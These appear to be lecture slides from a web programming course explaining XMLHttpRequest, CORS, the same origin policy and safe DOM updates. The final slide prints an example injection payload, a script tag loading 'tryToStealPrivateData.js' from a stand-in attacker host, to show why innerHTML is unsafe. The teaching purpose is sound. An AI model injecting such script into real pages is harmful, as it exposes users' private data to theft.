xmlHttpRequest object

1. Creates a new object and initializes it with “open”
2. Note the “new” syntax; rather than creating an object using a literal, like we did last time, we’re using a class definition (more on this in a couple of lectures…).

Request in Firefox – handy!

- Putting the URL into the browser gets JSON from OpenWeatherMap, presented beautifully.
- Creates a new object and initializes it with “open”
- Note the “new” syntax; rather than creating an object using a literal, like we did last time, we’re using a class definition (more on this in a couple of lectures…).
- Gives the xhr object a method.
- The browser calls this method when the JSON data comes back from the server.
Not all URLs work in Javascript

```javascript
// Make the actual CORS request.
function makeCORSRequest() {
  let url = "http://web.cs.ucdavis.edu/~amenta/s19/ects162.html"
  let xhr = createCORSRequest(GET, url);
  xhr.open('GET', url, true);
  xhr.send(null);
}
Access to XMLHttpRequest at 'http://web.cs.ucdavis.edu/~amenta/s19/ects162.html' from origin 'null' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
```

Produces an error

What is wrong?

- Only HTTP responses labeled by the server as `Access-Control-Allow-Origin *` (in the header) are passed on to Javascript by the browser (also some special permissions, rare).
- Unless the content is coming from the same server as the original Web page.
- This is called the SAME ORIGIN POLICY (SOP).

CORS

- OpenWeatherMap allows its weather forecasts to be distributed using to anyone with an API key; so it puts the label in the headers of its HTTP responses. Most Web sites don’t.
- We say OpenWeatherMap supports CORS (cross-origin-resource-sharing).
- CORS is an exception to the same origin policy.

Our setup

1. Browser
2. Find pages, send
3. API Server (OpenWeatherMap)
4. Compute JSON, send
5. Process
6. Request JSON
7. Get query from user
8. Request Web HTML, CSS, JS
Usual setup – we’ll do this later

- Request Web HTML, CSS, JS
- Get query from user
- Request JSON
- Process
- Browser

Find pages, send
Page from Server

Browser

No SOP

- BofA
- Celebrity Makeovers
- Your Browser

Without the Same Origin Policy, Javascript from Celebrity Makeovers could access your BofA account.

How would that work?

- You log into BofA, or maybe some site that has your sensitive data but does not have such good security
- Then you open a new tab at Celebrity Makeovers
- If there were no same-origin policy, CM’s Javascript could try accessing BofA, say every minute, just in case it discovers that you are logged in.
- When CM gets lucky, it sends the hackers a big check from your BofA account.

Getting text input from user

- You will find a lot of advice on the Web about using `<form>`; ignore it! You do not have to use the `<form>` tag to get user input.
- Forms are a historical relic from before we had Javascript; they produce complicated built-in browser behavior we don’t need to learn.
- Just grab the “value” property of the `<input>` elements when the user hits “submit”, check it and use it in Javascript.

Same Origin Policy prevents this

- BofA
- Celebrity Makeovers
- Your Browser

Encapsulate communication of each Web page

Getting text input from user

- HTML
  `<input id="city" placeholder="Davis">`
  `<p onclick="newRequest()">submit</p>`

- Javascript
  `function newRequest() {
    var title = document.getElementById("city").value;
    ...`

Putting data onto the page

- Get temperature for Auburn from JSON
- Want to replace Davis temp, shown, with new Auburn temp
- Easiest approach: leave the `<p>` tag containing the current temp there, and just replace its contents.
  
  ```javascript
  let tempElmt = document.getElementById("tempP");
  tempElmt.textContent = newTemp;
  ```
- DO NOT use the `innerHTML` property, despite the many Web pages that tell you to. Never set `innerHTML` to data from the outside world.

What could go wrong?

- Say a hacker infects OpenWeatherMap
- Makes it put something like this in the weather JSON:
  ```javascript
  ...
  temp: "<p><script src=http://evilEmpire.org/tryToStealPrivateData.js >"
  ```
- Now your HTML is:
  ```html
  <p id="tempP"></p><script src=http://evilEmpire.org/tryToStealPrivateData.js >
  ```